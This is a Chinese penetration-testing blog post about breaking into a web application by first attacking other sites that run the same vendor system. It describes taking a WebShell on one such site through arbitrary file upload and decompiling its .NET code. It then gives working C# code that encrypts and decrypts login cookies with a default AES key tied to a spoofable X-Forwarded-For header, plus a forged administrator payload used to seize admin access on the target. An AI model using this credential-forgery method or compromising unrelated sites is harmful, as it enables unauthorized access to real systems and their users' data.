让渗透从黑盒变为“灰盒”

关注微信公众号获取更多资讯,第一时间学习最新前沿渗透技术!
在这里插入图片描述

0x01 前言

在进行渗透测试时,经常会遇到一些比较讨厌的问题。例如:没有账号、注册的账号功能有限、不知道后台在哪等等。下面会讲述一种解决思路
网站的底部通常会有备案、主办单位、承办单位、技术支持等信息。通过“技术支持”这样的关键字可以在搜索引擎中找到与目标应用相同的网站,对这些网站进行的简单的渗透。利用从这些网站上获取的漏洞信息,再去攻击目标网站,往往可以获取很大的收益。

0x02 案例

在目标网站下方发现“技术支持”关键字
image.png

利用FOFA搜索关键字,发现相同的系统应用,下文统称为A网站
image.png

对A网站进行渗透测试发现存在一处任意文件上传,很简单的就获取了一个WebShell
注:原来目标网站也有任意文件只不过修复了
image.png

在WEB目录下存在Log文件夹且命名方式可以爆破
image.png

把这个漏洞信息利用到目标网站去,访问/Log/2020/返回403,说明目录存在
image.png

但是利用发现的命名规则以及常见的命名规则进行爆破,并没有成功。可惜了…
image.png

跳过这个日志这个点继续渗透,发现用户的登录凭证很有特征,像是AES或者DES加密
image.png
既然是AES或者DES加密那么密钥肯定在配置文件中或者源码中,于是把A网站的源码打包下载。由于是.Net的网站所以还要用ILSpy反编译dll文件查看源码
image.png

定位到登录口,发现了加密算法为AES
image.png

跟进AES.Encode函数,发现其密钥获取方式:“xxxxx”+IP
image.png

Utils.GetClientIP()获取的是XFF头,所以也是可控的
image.png

然后我就写了一个Decode进行一个验证

using System;
using System.Data;
using System.Configuration;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;
using System.Security.Cryptography;
using System.IO;
using System.Text;

public class AES
{
	public static byte[] Keys = new byte[16]
	{
		65,
		114,
		101,
		121,
		111,
		117,
		109,
		121,
		83,
		110,
		111,
		119,
		109,
		97,
		110,
		63
	};
	
	public static string GetSubString(string p_SrcString, int p_StartIndex, int p_Length, string p_TailString)
	{
		string result = p_SrcString;
		byte[] bytes = Encoding.UTF8.GetBytes(p_SrcString);
		char[] chars = Encoding.UTF8.GetChars(bytes);
		foreach (char c in chars)
		{
			if ((c > 'ࠀ' && c < '一') || (c > '가' && c < '힣'))
			{
				if (p_StartIndex >= p_SrcString.Length)
				{
					return "";
				}
				return p_SrcString.Substring(p_StartIndex, (p_Length + p_StartIndex > p_SrcString.Length) ? (p_SrcString.Length - p_StartIndex) : p_Length);
			}
		}
		if (p_Length >= 0)
		{
			byte[] bytes2 = Encoding.Default.GetBytes(p_SrcString);
			if (bytes2.Length > p_StartIndex)
			{
				int num = bytes2.Length;
				if (bytes2.Length > p_StartIndex + p_Length)
				{
					num = p_Length + p_StartIndex;
				}
				else
				{
					p_Length = bytes2.Length - p_StartIndex;
					p_TailString = "";
				}
				int num2 = p_Length;
				int[] array = new int[p_Length];
				byte[] array2 = null;
				int num3 = 0;
				for (int j = p_StartIndex; j < num; j++)
				{
					if (bytes2[j] > 127)
					{
						num3++;
						if (num3 == 3)
						{
							num3 = 1;
						}
					}
					else
					{
						num3 = 0;
					}
					array[j] = num3;
				}
				if (bytes2[num - 1] > 127 && array[p_Length - 1] == 1)
				{
					num2 = p_Length + 1;
				}
				array2 = new byte[num2];
				Array.Copy(bytes2, p_StartIndex, array2, 0, num2);
				result = Encoding.Default.GetString(array2);
				result += p_TailString;
			}
		}
		return result;
	}

	public static string Encode(string encryptString, string encryptKey)
	{
		encryptKey = GetSubString(encryptKey, 0, 32, "");
		encryptKey = encryptKey.PadRight(32, ' ');
		RijndaelManaged rijndaelManaged = new RijndaelManaged();
		rijndaelManaged.Key = Encoding.UTF8.GetBytes(encryptKey.Substring(0, 32));
		rijndaelManaged.IV = Keys;
		ICryptoTransform cryptoTransform = rijndaelManaged.CreateEncryptor();
		byte[] bytes = Encoding.UTF8.GetBytes(encryptString);
		byte[] inArray = cryptoTransform.TransformFinalBlock(bytes, 0, bytes.Length);
		return Convert.ToBase64String(inArray);
	}

	public static string Decode(string decryptString, string decryptKey)
	{
		try
		{
			decryptKey = GetSubString(decryptKey,0, 32, "");
			decryptKey = decryptKey.PadRight(32, ' ');
			RijndaelManaged rijndaelManaged = new RijndaelManaged();
			rijndaelManaged.Key = Encoding.UTF8.GetBytes(decryptKey);
			rijndaelManaged.IV = Keys;
			ICryptoTransform cryptoTransform = rijndaelManaged.CreateDecryptor();
			byte[] array = Convert.FromBase64String(decryptString);
			byte[] bytes = cryptoTransform.TransformFinalBlock(array, 0, array.Length);
			return Encoding.UTF8.GetString(bytes);
		}
		catch
		{
			return "";
		}
	}

	public static string Encode(string encryptString)
	{
  		// 密钥
		return Encode(encryptString, "xxxxxx" + "127.0.0.1");
	}

	public static string Decode(string decryptString)
	{
        // 密钥
		return Decode(decryptString, "xxxxxx" + "127.0.0.1");
	}
	
	public static void Main(string[] args){
        // 解密用户凭证
		System.Console.WriteLine(Decode("xxxxx"));
	}
}

验证步骤如下:

  1. 修改XFF头为127.0.0.1

image.png

  1. 随便注册个账号,登录目标网站,获取凭证

image.png

  1. 用Decode解密用户凭证

image.png
最终成功解密了,这说明目标网站用的也是默认的加密密钥,所以存在用户凭证伪造(任意用户登陆)

伪造普通用户危害总是有限的。所以继续查看代码,发现管理员凭证使用也是同一种加密方式
image.png

修改Cookie为Weiyum访问目标网站后台,结果返回没有权限
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

进入Admin的基类查看,原来是根据用户的ID做了权限检测
image.png

怎样获取管理的ID呢?通常一款后台应用初始肯定是有一个默认的管理用户的,那么他的ID应该不是随机的。通过之前获取A网站的WebShell查询数据库,得知默认的AdmidID为ba2fxxxxxxxxxxxxxxxxxxxxxxxxd49e21a

然后用伪造用户信息

{
	"Type": 0,
	"UserName": "71000019780612618X",
	"RealName": "邵霞",
	"Email": "test@qq.com",
	"Tel": "13888888888",
	"IDCard": "71000019780612618X",
	"Password": "ce1c1cdc2fac8e1167f22cd4bd88d324",
	"PasswordWay": "M",
	"Remark": "",
	"Avatar": "/Public/static/face/default_head_50.png",
	"Gender": 0,
	"Minority": "",
	"NativePlace": "",
	"Birth": "0001-01-01T00:00:00",
	"ID": "ba2fxxxxxxxxxxxxxxxxxxxxxxxxd49e21a",
	"CreateBy": "邵霞",
	"CreateOn": "2020-08-02T01:56:26",
	"UpdateBy": "",
	"UpdateOn": null,
	"Status": 1,
	"IsAdd": false
}

利用Encode生成加密后的用户凭证

public static void Main(string[] args){
	System.Console.WriteLine(Encode("xxxx"));
}

image.png

重新修改Weiyum,成功伪造管理员身份
image.png

0x03 总结

  1. 利用网站的技术支持信息去搜寻相同的应用,然后对其进行渗透,尝试获取有用的漏洞信息
  2. 通常可以尝试获取默认的密码规则,默认的日志、备份规则、默认的加密密钥
  3. 如果有条件可以下载源码,对其进行代码审计
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值